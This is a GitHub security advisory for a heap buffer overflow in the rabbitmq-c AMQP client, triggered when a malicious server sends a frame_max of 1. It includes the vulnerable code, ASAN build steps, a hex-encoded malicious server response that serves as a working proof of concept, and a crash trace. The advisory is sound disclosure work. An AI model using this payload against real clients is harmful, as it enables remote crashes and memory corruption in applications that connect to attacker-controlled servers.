Skip to content

GHSA-jh48-qjf5-fx5v

CVE Information

Summary

A malicious AMQP server can trigger a heap buffer overflow in a rabbitmq-c client during the normal amqp_login() handshake.

The server sends a connection.tune frame with an invalid small frame_max value, such as 1. rabbitmq-c accepts this value, reallocates its outbound frame buffer to 1 byte, then immediately serializes a connection.tune-ok response into that buffer. This writes past the heap allocation.

The issue is remotely triggerable by a server the victim client connects to, or by an on-path attacker against plaintext AMQP traffic. The practical impact is client-side memory corruption and likely denial of service. Code execution is possible in theory but not demonstrated.

Details

In amqp_login_inner() in librabbitmq/amqp_socket.c, rabbitmq-c accepts the server-provided frame_max if it is smaller than the client's requested value:

if (server_frame_max != 0 && server_frame_max < client_frame_max) {
  client_frame_max = server_frame_max;
}

The value is then passed to amqp_tune_connection():

res = amqp_tune_connection(state, client_channel_max, client_frame_max,
                           client_heartbeat);

In librabbitmq/amqp_connection.c, amqp_tune_connection() uses frame_max directly as the outbound buffer size:

state->outbound_buffer.len = frame_max;
newbuf = realloc(state->outbound_buffer.bytes, frame_max);

There is no minimum size check. If the server sends frame_max = 1, the outbound buffer becomes 1 byte.

The client then sends connection.tune-ok:

res = amqp_send_method_inner(state, 0, AMQP_CONNECTION_TUNE_OK_METHOD, &s,
                             AMQP_SF_NONE, deadline);

This reaches amqp_frame_to_bytes(), which writes the AMQP frame header into the outbound buffer:

amqp_e8(frame->frame_type, amqp_offset(out_frame, 0));
amqp_e16(frame->channel, amqp_offset(out_frame, 1));

With a 1-byte buffer, the 2-byte write at offset 1 overflows the heap allocation.

rabbitmq-c documents the minimum AMQP frame size as 4096 bytes (AMQP_FRAME_MIN_SIZE). The server-controlled frame_max should be rejected or clamped if it is below that value.

PoC

Tested against rabbitmq-c commit:

8b7471eab8d09536b3c104dbb30a65699cf48104

Build rabbitmq-c with ASAN and the existing fuzz_server harness:

git clone https://github.com/alanxz/rabbitmq-c.git /tmp/rabbitmq-c-src
cd /tmp/rabbitmq-c-src
git checkout 8b7471eab8d09536b3c104dbb30a65699cf48104

cmake -S . -B build-asan \
  -DCMAKE_C_COMPILER=clang \
  -DCMAKE_C_FLAGS="-g -O1 -fno-omit-frame-pointer -fsanitize=address,undefined -fsanitize=fuzzer-no-link" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \
  -DBUILD_STATIC_LIBS=ON \
  -DBUILD_SHARED_LIBS=OFF \
  -DBUILD_OSSFUZZ=OFF \
  -DBUILD_EXAMPLES=OFF \
  -DBUILD_TOOLS=OFF \
  -DENABLE_SSL_SUPPORT=OFF

cmake --build build-asan -j"$(nproc)"

clang -g -O1 -fno-omit-frame-pointer \
  -fsanitize=address,undefined,fuzzer \
  -DHAVE_CONFIG_H -DAMQP_STATIC \
  -I include -I build-asan/include \
  -I librabbitmq -I build-asan/librabbitmq \
  fuzz/fuzz_server.c build-asan/librabbitmq/librabbitmq.a \
  -lpthread -lrt \
  -o build-asan/fuzz_server

Create the malicious AMQP server response stream:

python3 - <<'PY'
from pathlib import Path

poc = bytes.fromhex(
    "01 00 00 00 00 00 1c"
    "00 0a 00 0a"
    "00 09"
    "00 00 00 00"
    "00 00 00 05 50 4c 41 49 4e"
    "00 00 00 05 65 6e 5f 55 53"
    "ce"
    "01 00 00 00 00 00 0c"
    "00 0a 00 1e"
    "00 00"
    "00 00 00 01"
    "00 00"
    "ce"
)

Path("/tmp/rabbitmq-c-frame-max-poc.bin").write_bytes(poc)
PY

Run the PoC:

ASAN_OPTIONS="detect_leaks=0:halt_on_error=1:print_stacktrace=1" \
  ./build-asan/fuzz_server /tmp/rabbitmq-c-frame-max-poc.bin

Expected result:

 ==2445162==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x71826b1e0051 at pc 0x5fd54ef9476b bp 0x7ffe3ce43060 sp 0x7ffe3ce43058 WRITE of size 2 at 0x71826b1e0051 thread T0
      #0 0x5fd54ef9476a in amqp_e16 /tmp/rabbitmq-c-src/librabbitmq/amqp_private.h:227:3
      #1 0x5fd54efc2686 in amqp_frame_to_bytes /tmp/rabbitmq-c-src/librabbitmq/amqp_connection.c:438:3
      #2 0x5fd54efc1404 in amqp_send_frame_inner /tmp/rabbitmq-c-src/librabbitmq/amqp_connection.c:525:9
      #3 0x5fd54ef8ade4 in amqp_send_method_inner /tmp/rabbitmq-c-src/librabbitmq/amqp_socket.c:996:10
      #4 0x5fd54ef8a9cc in amqp_login_inner /tmp/rabbitmq-c-src/librabbitmq/amqp_socket.c:1396:11
      #5 0x5fd54ee86a2f in amqp_login /tmp/rabbitmq-c-src/librabbitmq/amqp_socket.c:1444:9
      #6 0x5fd54ee6e663 in client /tmp/rabbitmq-c-src/fuzz/fuzz_server.c:149:3
      #7 0x5fd54ee74921 in LLVMFuzzerTestOneInput /tmp/rabbitmq-c-src/fuzz/fuzz_server.c:117:3

The allocation trace shows the outbound buffer was resized to 1 byte in amqp_tune_connection() before the overflow.

Impact

This is a remotely triggerable heap buffer overflow in rabbitmq-c clients and an attacker can trigger it before authentication by operating a malicious AMQP server and waiting for a victim application to connect. An on-path attacker can also trigger it when the victim uses plaintext AMQP.

Impacted users are applications that use rabbitmq-c to connect to AMQP servers. The most realistic impact is client-side denial of service or process abort under hardened allocators/sanitizers. The bug is memory corruption, so code execution may be possible depending on allocator behavior and heap layout, but this was not demonstrated.

Background of that issue This bug was found as a part of an Anthropic research into the use of large language models for automated vulnerability discovery in open source software. Anthropic then engaged Trail of Bits to independently triage and validate those issues.